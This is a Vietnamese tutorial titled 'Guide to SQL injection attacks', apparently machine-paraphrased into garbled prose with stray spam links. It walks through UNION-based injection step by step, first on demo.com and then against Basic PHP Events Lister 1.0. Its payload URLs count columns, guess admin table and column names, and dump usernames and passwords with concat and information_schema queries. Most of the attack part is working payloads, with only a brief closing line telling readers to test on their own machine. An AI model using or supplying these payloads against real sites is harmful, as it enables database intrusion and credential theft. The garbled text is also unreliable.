HƯỚNG DẪN TẤN CÔNG SQL INJECTION

      256
SQL Injection là một lỗ hổng khá thông dụng và thân quen với phần đông những ai mê say hacking, nhưng phần đông chỉ biết nó là 1 trong lỗ hổng nhằm khai thác nhằm mục đích mục đích cá nhân nhưng ít ai lại mày mò về định nghĩa, lí thuyết và cách thức gây ra lỗi của nó.

Bạn đang xem: Hướng dẫn tấn công sql injection

Bạn vẫn xem: phía dẫn tấn công sql injection


*

SQL Injection1. Định Nghĩa:SQL Injection là một lỗi xảy ra trong quy trình xử lí câu truy hỏi vấn SQL (SQL Query) có xuất hiện thêm các kí tự sệt biệt, kí tự chưa phù hợp lệ hay là không tồn tại trong các đại lý dữ liệu(database). Hỗ trợ cho kẻ tấn công tiện lợi khai thác ngay lập tức trên vị trí chứa tài liệu đầu vào của ứng dụng, website...2. Phương pháp gây ra lỗi:Lỗi chỉ xẩy ra khi ta thêm những kí tự quan trọng đặc biệt như ",",*,-,... Mà kết quả trả về là rỗng (empty, null) hoặc trả về trang báo lỗi thì tức là trang đó đã dính lỗi sql injection vào lúc triển khai truy vấn.3. Bình chọn và Khai thác:
Để soát sổ lỗi ta thực hiện thêm ",",*,- vào những giá trị đầu vào của website, ví dụ như tôi cóhttp://www.demo.com/index.php?id=1thì id=1 của nóid 1 ta thực hiện thêm những kí từ ",",*,-,... Thì nó đã thànhhttp://www.demo.com/index.php?id=1"http://www.demo.com/index.php?id=1"http://www.demo.com/index.php?id=1*http://www.demo.com/index.php?id=-1Nếu hiệu quả nó trả về là trống rỗng (empty, null, hoặc trang trắng) tốt trả về dòng thông báo lỗi như Error, Falcal thì cho thấy website bị dính lỗi sql injectionKhai thác cơ bản - Đếm column (số cột) vĩnh cửu trong table lúc này mà website đã sử dụng:Thực hiện công đoạn này để ta đếm được số cột (column) mãi sau trong table hiện nay tại đang rất được sử dụngta gồm 2 tầm nã vấn để thực hiện việc đếm số cột:order by numbergroup by numbergiả sử tôi có một website đang thực hiện table "sonictable" cùng trong table đó có 3 column(3 cột)cột 1 tôi lấy tên là "id"cột 2 tôi rước tên là "content"cột 3 tôi mang tên là "authors"Khi tôi muốn triển khai đếm cột tôi sẽ triển khai truy vấn như sau:http://www.demo.com/index.php?id=1 order by 1-- -=> thông thường (có mãi sau cột máy 1)http://www.demo.com/index.php?id=1 order by 3-- -=>bình thường ( gồm tồn tại cột 3 )nhưng lúc tôi đếm sang cột sản phẩm công nghệ 4http://www.demo.com/index.php?id=1 order by 4-- -=> bị lỗi trả về hiệu quả là error hoặc rỗng hoặc falcaltức là website không tồn tại cột sản phẩm 4Khai thác cơ bạn dạng - tìm kiếm cột bị lỗi và tiến hành khai thácđể kiếm được cột bị lỗi, tôi dùng queryunion select numbersau lúc tôi đã kiếm được số cột, tôi triển khai tìm cột như thế nào được hiển thị và bao gồm lỗi bởi query "union select" cùng tôi tìm kiếm được 3 cột lâu dài trong table, tôi bao gồm query nhằm hiện thị những table được thực hiện hiển thị ra màn dường như sau:http://www.demo.com/index.php?id=1 union select 1,2,3Lưu ý nhỏ: ** lúc union ta phải đưa quý hiếm về null để có thể hiện cột được sử dụnghttp://www.demo.com/index.php?id=null union select 1,2,3giả sử nó hiện tại số 2 ra tức là column thứ 2 (column "content") đang rất được sử dụng để hiển thị nội dung, ta đánh dấu các column bằng số vì nó dễ quan sát (nếu có kỹ năng và kiến thức thì có thể dùng cách khác để tiến công dấu)tới đây, ta triển khai khai thác column thiết bị 2, ta khai thác version của sql mà lại server vẫn sử dụnghttp://www.demo.com/index.php?id=null union select 1,version(),3kết quả trả ra ngay vị trí thứ hai sẽ là version của sql nhưng mà server đang sử dụng* Mở rộng: ta rất có thể dùng hàm concat nhằm hiển thị gộp toàn bộ các cực hiếm ta ước ao hiển thị như version, database name, username databasehttp://www.demo.com/index.php?id=null union select 1,concat(version(),database(),user()),3*và 1 rắc rối nhỏ tuổi là ta sẽ được trả ra 1 kết quả của version,database name, username database dính kèm chùm rất nặng nề nhìn, ta gồm thể tách nó ra bởi 1 đoạn mã hex 0x7c (7c là hex của "|" sau thời điểm đã được gửi thành hex)http://www.demo.com/index.php?id=null union select 1,concat(version(),0x7c,database(),0x7c,user()),3và hiển thị lại không xẩy ra khó nhìn nữa.Về cơ phiên bản thì tới đây chúng ta cũng nắm rõ phần như thế nào về lỗ hổng sql injection, tư tưởng và khai thác của nó. Hình như các chúng ta có thể xem thêm các video clip khai thác, các hướng dẫn khai quật để thường xuyên học hỏi thêm về sql injection.Cách tiếp cận khác:I. Hướng dẫn cơ bạn dạng khai thác SQL Injection đối với MySQLDemo: khai thác SQL Injection trong Basic PHP Events Lister 1.0Đầu tiên với URL:http://seamoun.com/phpevents/event.php?id=1Thực hiện thêm vết " sau id=1. URL trở thànhhttp://seamoun.com/phpevents/event.php?id=1"Ta phát hiện tại rằng phpvents bao gồm lỗi SQL Injection với thông báo sau:Code:Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:xampphtdocsphpeventsevent.php on line 37Đối tượng khai thác SQL Injection ở đấy là "Basic PHP Events Lister 1.0". Trả sử bọn họ không biết trường cùng bảng của vận dụng web này là gì?Với lỗi SQL Injection tạo ra bởi URL bên trên ta coi thử truy nã vấn (SQL) của chính nó liệu tất cả bao nhiều trường. Bởi vì cần xác định điều nàybởi vị khi họ dùng UNION vào câu lệnh SQL thì số lượng trường của hai câu lệnh select bắt buộc trùng nhau.(Các các bạn không rõ vấn đề này thì xem ý nghĩa sâu sắc câu lệnh SQL. Ở đây mình không phân tích và lý giải vì phân minh phải làm rõ SQL new khai thá được).Xác định bao gồm bao nhiêu trường truy vấn vấn cùng với URLhttp://seamoun.com/phpevents/event.php?id=1có hết sức nhiều cách để thực hiện. Ở phía trên mình thực hiện order by . Triển khai tăng dần . Khi triển khai order by , nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, triển khai tăng đến đến bao giờ xuất hiện nay lỗi có nghĩa là ta đã thực hiện tìm đủ con số trường.Lần lượt mình thử:Code:http://seamoun.com/phpevents/event.php?id=1 order by 1 http://seamoun.com/phpevents/event.php?id=1 order by 2 http://seamoun.com/phpevents/event.php?id=1 order by 3...

Xem thêm: The Webpage Might Be Temporarily Down Or It May Have Moved Permanently To A New Web Address

Http://seamoun.com/phpevents/event.php?id=1 order by 15 (Như vậy truy vấn vấn SQL với URL bên trên là 15 trường (field)Đến đây có thể điều tra phiên phiên bản SQL, user với lệnh sauCode:
version,1,1,1,1,1,1,1,1,1,1,1,1,1 http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1Sau khi đang có số lượng trường rồi thì hôm nay sẽ triển khai đoán bảng (table) login của nó: rất có thể thử với các table thịnh hành nhưmanager, admin, administrator, systemlogin, ... (Việc đoán table ở trong về ghê nghiệm, kết hợp với việc crawl, spider câu chữ web nhưng mình khai thác). Nếu như như tên bảng sai thì khi thực hiện union all select ... Nó sẽ thông báo lỗi, trái lại nếu thương hiệu đúng thì nó chạy OK. Triển khai thử kiếm tìm table như sau:Code:http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)Sau khi đoán được tên table là admin. Tiếp theo sau là dự đoán tên trường vào bảng admin mà tôi đã lấy được.Có thể đoán tên trường vào bảng admin như là username,uname,user, ... Pass, passwd, password, pword, .... (Tương tự như trên cũng tùy trực thuộc vào kinh nghiệm kết phù hợp với việc crawl, spider nội dung web nhằm tìm tên trường). Tiền hành thử như sauCode:http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)Như vậy trường trước tiên ta đoán được là uname vào bảng admin. Thực hiện đoán trường mật khẩu http://seamoun.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://seamoun.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)Như vậy ta đoán được trường mật khẩu đăng nhập là pword. Bởi thế ta đã gồm thông tin rất đầy đủ để mang user và pass trong bảng admin với2 ngôi trường uname với pword + thương hiệu bảng là adminThực hiện tại lệnh:Code:http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin.Thực chất với nhị câu lệnh trên thì ta tìm kiếm được user và pass nhưng lại muốn thực hiện lệnhhttp://seamoun.com/phpevents/event.php?id=1union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để tất cả được toàn bộ user và pass vào bảng admin. Trường hợp trường phù hợp này mở ra lỗi ta có thể thêm limit 0,1 và tăng nhiều limit 1,1 limit 2,1 để mang hết tất cả user và passSở dĩ tiến hành câu lệnh trên nhằm đồng thời đem uname cùng pword không cần phải thực hiện 2 lần mới đạt được uname cùng pword.0x3a---> lốt ":". Concat sẽ triển khai cộng chuỗiĐến phía trên ta vẫn có thông tin uname với pword.Nếu trường phù hợp mà liên kết đến MySQL thực hiện user root thì việc tìm và đào bới bảng cùng trường thuận lợi hơn với lệnh sauCode:Điều tra tin tức bảng: http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tablesĐiều tra tin tức trường: http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columnsNgoài ra trong một số trường hợp xuất hiện thêm lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, ... để không biến thành lỗi khi khai thác như:http://seamoun.com/phpevents/event.php?id=1union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from adminII. Demo: khai quật SQL Injection trong Basic PHP Events Lister 1.0 (milw0rm.com)Đây chỉ là hướng dẫn cơ bản nhất về khai quật SQL - Injection đối với MySQL. Chúng ta demo thì install trên thiết bị mình để kiểm tra, chớ đi hack người khác à nha.
hotlive |

Hi88